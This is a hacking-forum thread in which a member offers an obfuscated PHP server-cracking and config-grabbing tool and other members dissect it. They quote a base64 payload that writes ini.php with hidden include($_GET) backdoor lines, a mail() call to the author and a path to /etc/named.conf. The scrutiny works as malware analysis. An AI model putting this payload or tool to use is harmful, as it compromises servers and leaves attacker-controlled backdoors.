Ghost Bypasser - Bypassing Any Server Security | Cpanel Cracker | Config Grabber

Ghost Bypasser - Bypassing Any Server Security | Cpanel Cracker | Config Grabber | - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Ghost Bypasser - Bypassing Any Server Security | Cpanel Cracker | Config Grabber | (/showthread.php?tid=5472487)

Ghost Bypasser - Bypassing Any Server Security | Cpanel Cracker | Config Grabber | - Chill Dill - Nov 23, 2016

Today im gone share for you guys a php tool me for hacking and bypassing server security , and rooting the server !

Link: pastebin.com/C35GBpRE

* - icodz - Nov 23, 2016

ty :p from algeria <3
its a old exploit i think
how to exploit opencat
rt?

* - Chill Dill - Nov 23, 2016

(Nov 23, 2016 10:07 AM)icodz Wrote: ty :p from algeria <3
its a old exploit i think
how to exploit opencat
rt?

No m8 its a php script,just upload it to server and use the exploits ;)

* - sancakli.ok - Nov 23, 2016

dont like encrypted files :D

* - semendaemon - Nov 24, 2016

First of all, fuck you for obfuscating PHP code, it's annoying
and then, what are these following things:
1)

Code 
} = "PD8NCmVjaG8gaW5pX2dldCjigJxzYWZlX21vZGXigJ0pOw0KZWNobyBpbmlfZ2V0KOKAnG9wZW5fYmFzZWRpcuKAnSk7DQppbmNsdWRlKCRfR0VUWyJmaWxlIl0pOw0KaW5pX3Jlc3RvcmUo4oCcc2FmZV9tb2Rl4oCdKTsNCmluaV9yZXN0b3JlKOKAnG9wZW5fYmFzZWRpcuKAnSk7DQplY2hvIGluaV9nZXQo4oCcc2FmZV9tb2Rl4oCdKTsNCmVjaG8gaW5pX2dldCjigJxvcGVuX2Jhc2VkaXLigJ0pOw0KaW5jbHVkZSgkX0dFVFsic3MiXSk7DQo/Pg==";

what's the purpose of include($_GET['ss']? $_GET['ss'] isn't being used anywhere else on the code, that's it's only occurance. Smells like backdoor to me :p

Code 
echo "<td><img src='https://www.hackread.com/wp-content/uploads/2013/02/anonghost-hackers-anonymous.jpg'><br>";

Possible backdoor.

Code 
".${${"GLOBALS"}["xdepmlr"]}."";mail("nonamehaxor@yahoo . com","

Couldn't apply heuristics to understand why this email shows up, but it can't have a good reason. Care to explain? GLOBALS['yeqtehojg'] refers to

Code 
${$yeqtehojg} = file(${${"GLOBALS"}["bjonsfbr"]});

["bjonsfbr"] points to

Code 
${${"GLOBALS"}["bjonsfbr"]} = "http://" . $_SERVER["HTTP_HOST"] . dirname($_SERVER["PHP_SELF"]) . "/etcnamed/etcpass.txt/etc/named.conf";

This could be another shitty symlink attempt but it could also be mail()'ing that object.

* - seedhabandha - Nov 24, 2016

lol.
Thanx @semendaemon for revealing that hidden things. I was going to use that script.

* - Chill Dill - Nov 24, 2016

Dont post when dont understand xD kids ,make some sense in the world or leave it ....
You call a backdoor the image tag ? Lol
<img src='https://www.hackread.com/wp-content/uploads/2013/02/anonghost-hackers-anonymous.jpg'>
And also you think symlinking the etc/passwd is a backdoor also ? :/
Ιf i would backdoor the script you couldnt decrypt it
,the encryption i have used here is just from protecting source from script kiddies like you

* - semendaemon - Nov 24, 2016

(Nov 24, 2016 02:06 PM)Chill Dill Wrote: Dont post when dont understand xD kids ,make some sense in the world or leave it ....
You call a backdoor the image tag ? Lol
<img src='https://www.hackread.com/wp-content/uploads/2013/02/anonghost-hackers-anonymous.jpg'>
And also you think symlinking the etc/passwd is a backdoor also ? :/

>And also you think symlinking the etc/passwd is a backdoor also ? :/
Why is your email there?

><img src='https://www.hackread.com/wp-content/uploads/2013/02/anonghost-hackers-anonymous.jpg'>
If you or your friends own hackread (Or hacked it), you can access logs and view the shells using HTTP referer.

Why are you using include($_GET['ss'])?

* - Chill Dill - Nov 24, 2016

(Nov 24, 2016 02:11 PM)semendaemon Wrote: >And also you think symlinking the etc/passwd is a backdoor also ? :/
Why is your email there?

><img src='https://www.hackread.com/wp-content/uploads/2013/02/anonghost-hackers-anonymous.jpg'>
If you or your friends own hackread (Or hacked it), you can access logs and view the shells using HTTP referer.

Why are you using include($_GET['ss'])?

Bro dont be stupid , its just a fucking jpg logo
And
include($_GET['ss']) ? that doesnt make sense why would i use it? Probabbly bad decryption ,it is isset($_GET[ss]) not include

* - semendaemon - Nov 24, 2016

(Nov 24, 2016 02:16 PM)Chill Dill Wrote: Bro dont be stupid , its just a fucking jpg logo
And
include($_GET['ss']) ? that doesnt make sense why would i use it? Probabbly bad decryption ,it is isset($_GET[ss]) not include

Give me the undecrypted version and we'll talk.

* - memory - Dec 5, 2016

(Nov 24, 2016 02:16 PM)Chill Dill Wrote: Bro dont be stupid , its just a fucking jpg logo
And
include($_GET['ss']) ? that doesnt make sense why would i use it? Probabbly bad decryption ,it is isset($_GET[ss]) not include

I went ahead and skimmed the link I received from OP with the "decrypted" copy of this file. After researching it a little bit, this is what I found:
Lines 236-240 Original Copy

Code 
<?php

$shellololol = 'PD8NCmVjaG8gaW5pX2dldCjigJxzYWZlX21vZGXigJ0pOw0KZWNobyBpbmlfZ2V0KOKAnG9wZW5fYmFzZWRpcuKAnSk7DQppbmNsdWRlKCRfR0VUWyJmaWxlIl0pOw0KaW5pX3Jlc3RvcmUo4oCcc2FmZV9tb2Rl4oCdKTsNCmluaV9yZXN0b3JlKOKAnG9wZW5fYmFzZWRpcuKAnSk7DQplY2hvIGluaV9nZXQo4oCcc2FmZV9tb2Rl4oCdKTsNCmVjaG8gaW5pX2dldCjigJxvcGVuX2Jhc2VkaXLigJ0pOw0KaW5jbHVkZSgkX0dFVFsic3MiXSk7DQo/Pg==';

$zerer = fopen("ini.php" ,"w+");

$write = fwrite ($zerer ,base64_decode($shellololol));

fclose($zerer);

?>

What $shellololol is writing to the ini.php file:

Code 
<?

echo ini_get(“safe_mode”);

echo ini_get(“open_basedir”);

include($_GET["file"]);

ini_restore(“safe_mode”);

ini_restore(“open_basedir”);

echo ini_get(“safe_mode”);

echo ini_get(“open_basedir”);

include($_GET["ss"]);

?>

So, it seems as if there is not one, but two include statements within the base64 encoded variable:
include($_GET["ss"]);
include($_GET["file"]);

As for the whole e-mail situation, you can see in this code:

Code

<footer id="ftr" style="position:fixed; left:0px; right:0px; bottom:0px; background:transparent); text-align:center; border-top: 0px solid #ababab; border-bottom: 1px solid #e4e4e4"> © Ghost Bypasser | Coded by n0name-hax0r | &nbsp; <a href='twitter'>&nbsp;[Twitter]&nbsp;</a>&nbsp;<a href='pastebin'>&nbsp;[Pastebin]&nbsp;</a>&nbsp;<a href='uoutube'>&nbsp;[Youtube]&nbsp;</a>&nbsp;<a href='mailto:[email protected]'>&nbsp;[Email]&nbsp;</a>&nbsp;</footer>

that there is no PHP involved, so there doesn't seem to be any evidence in regards to the script mail()'ing out the URL/location of the shell, but I only skimmed the script so I could be mistaken.

Here is the link I received from OP with the decrypted copy: http://pastebin.com/nRafLgFm

Thank you OP for sharing this with us; members that are interested in using this script, use it at your own risk.

* - semendaemon - Dec 6, 2016

(Dec 5, 2016 03:37 PM)мємσяу Wrote: I went ahead and skimmed the link I received from OP with the "decrypted" copy of this file. After researching it a little bit, this is what I found:
Lines 236-240 Original Copy

Code
<?php $shellololol = 'PD8NCmVjaG8gaW5pX2dldCjigJxzYWZlX21vZGXigJ0pOw0KZWNobyBpbmlfZ2V0KOKAnG9wZW5fYmFzZWRpcuKAnSk7DQppbmNsdWRlKCRfR0VUWyJmaWxlIl0pOw0KaW5pX3Jlc3RvcmUo4oCcc2FmZV9tb2Rl4oCdKTsNCmluaV9yZXN0b3JlKOKAnG9wZW5fYmFzZWRpcuKAnSk7DQplY2hvIGluaV9nZXQo4oCcc2FmZV9tb2Rl4oCdKTsNCmVjaG8gaW5pX2dldCjigJxvcGVuX2Jhc2VkaXLigJ0pOw0KaW5jbHVkZSgkX0dFVFsic3MiXSk7DQo/Pg=='; $zerer = fopen("ini.php" ,"w+"); $write = fwrite ($zerer ,base64_decode($shellololol)); fclose($zerer); ?>

What $shellololol is writing to the ini.php file:

Code
<? echo ini_get(“safe_mode”); echo ini_get(“open_basedir”); include($_GET["file"]); ini_restore(“safe_mode”); ini_restore(“open_basedir”); echo ini_get(“safe_mode”); echo ini_get(“open_basedir”); include($_GET["ss"]); ?>

So, it seems as if there is not one, but two include statements within the base64 encoded variable:
include($_GET["ss"]);
include($_GET["file"]);

As for the whole e-mail situation, you can see in this code:

Code
<footer id="ftr" style="position:fixed; left:0px; right:0px; bottom:0px; background:transparent); text-align:center; border-top: 0px solid #ababab; border-bottom: 1px solid #e4e4e4"> © Ghost Bypasser | Coded by n0name-hax0r |   <a href='twitter'> [Twitter] </a> <a href='pastebin'> [Pastebin] </a> <a href='uoutube'> [Youtube] </a> <a href='mailto:[email protected]'> [Email] </a> </footer>
that there is no PHP involved, so there doesn't seem to be any evidence in regards to the script mail()'ing out the URL/location of the shell, but I only skimmed the script so I could be mistaken.

Here is the link I received from OP with the decrypted copy: http://pastebin.com/nRafLgFm

Thank you OP for sharing this with us; members that are interested in using this script, use it at your own risk.

I pointed out what's suspicious for me using crude heuristics. I still see no actual usage for ini.php, nor these include() statements. Completely pointless unless you're deliberately leaving these around to later dork out and backdoor. Thanks for double checking me.